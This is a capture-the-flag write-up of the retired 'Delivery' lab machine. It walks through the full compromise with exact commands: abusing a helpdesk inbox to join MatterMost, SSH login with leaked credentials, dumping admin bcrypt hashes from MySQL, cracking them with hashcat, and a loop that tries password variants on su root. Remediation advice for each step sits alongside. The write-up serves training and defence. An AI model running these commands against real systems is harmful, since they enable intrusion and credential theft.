Delivery
Summary
I exploited the public helpdesk portal to obtain an internal @delivery.htb email address at no cost, then used that address to bypass MatterMost's domain-restricted registration and read internal staff chat. A message in that chat disclosed plaintext SSH credentials, giving shell access to the server.
From there I read the MatterMost database configuration file, extracted a bcrypt-hashed administrator password from MySQL, and cracked it offline using a rule-based hashcat attack seeded with a password hint left in the same chat channel. The cracked password was also set as the root account password, granting full operating-system control.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -p 22,80,8065 --open -T4 $TARGETcurl -sS http://$TARGET/ | grep -i 'mattermost\|helpdesk\|team'curl -sS http://$TARGET:8065/api/v4/system/pingExact commands 2
curl -sS http://helpdesk.delivery.htb/open.php | grep -i 'csrftoken\|__csrf'curl -sS -X POST http://helpdesk.delivery.htb/open.php -d "__CSRFToken__=<CSRF>&name=Test+User&email=$USERNAME@example.com&subject=Help&message=test&topicId=1" -L | grep -i '@delivery.htb\|ticket'FixRequire verified identity before issuing an internal-domain ticket inboxHigh
Exact commands 2
# Visit http://$TARGET:8065/signup_email and register with 3827049@delivery.htbcurl -sS 'http://helpdesk.delivery.htb/tickets.php?id=3827049' | grep -i 'verify\|confirm\|mattermost\|http'FixDisable MatterMost self-registration or switch to invite-only accessHigh
Exact commands 1
# Log in to http://$TARGET:8065 and browse the internal team channelFixRemove plaintext credentials from internal chat channels and rotate them immediatelyCritical
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 maildeliverer@$TARGET 'id; hostname; find / -name user.txt 2>/dev/null -print -quit | xargs -r cat'Exact commands 2
cat /opt/mattermost/config/config.json | python3 -c "import sys,json; c=json.load(sys.stdin); print(c['SqlSettings']['DataSource'])"mysql -u mmuser -p'<DB_PASSWORD_FROM_CONFIG>' mattermost -e "SELECT Username,Password FROM Users WHERE Roles LIKE '%system_admin%';"FixRestrict read access to application configuration files that contain credentialsHigh
Exact commands 3
echo '$2a$10$<PASTE_ADMIN_BCRYPT_HASH_HERE>' > hash.txtecho '$PASSWORD2' > base.txthashcat -m 3200 hash.txt base.txt -r /usr/share/hashcat/rules/best64.rule --forceFixEnforce strong, unique passwords and never disclose password patterns to usersHigh
Exact commands 1
for pw in '$PASSWORD2' '${PASSWORD2}21' '${PASSWORD2}2020' '${PASSWORD2}1' '${PASSWORD2}123' '$PASSWORD2@' '${PASSWORD2}2'; do echo TRY:$pw; sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null maildeliverer@$TARGET "printf '%s\n' '$pw' | su - root -c 'id; cat /root/root.txt'" 2>/dev/null && break; doneFixNever reuse application passwords for privileged OS accountsCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.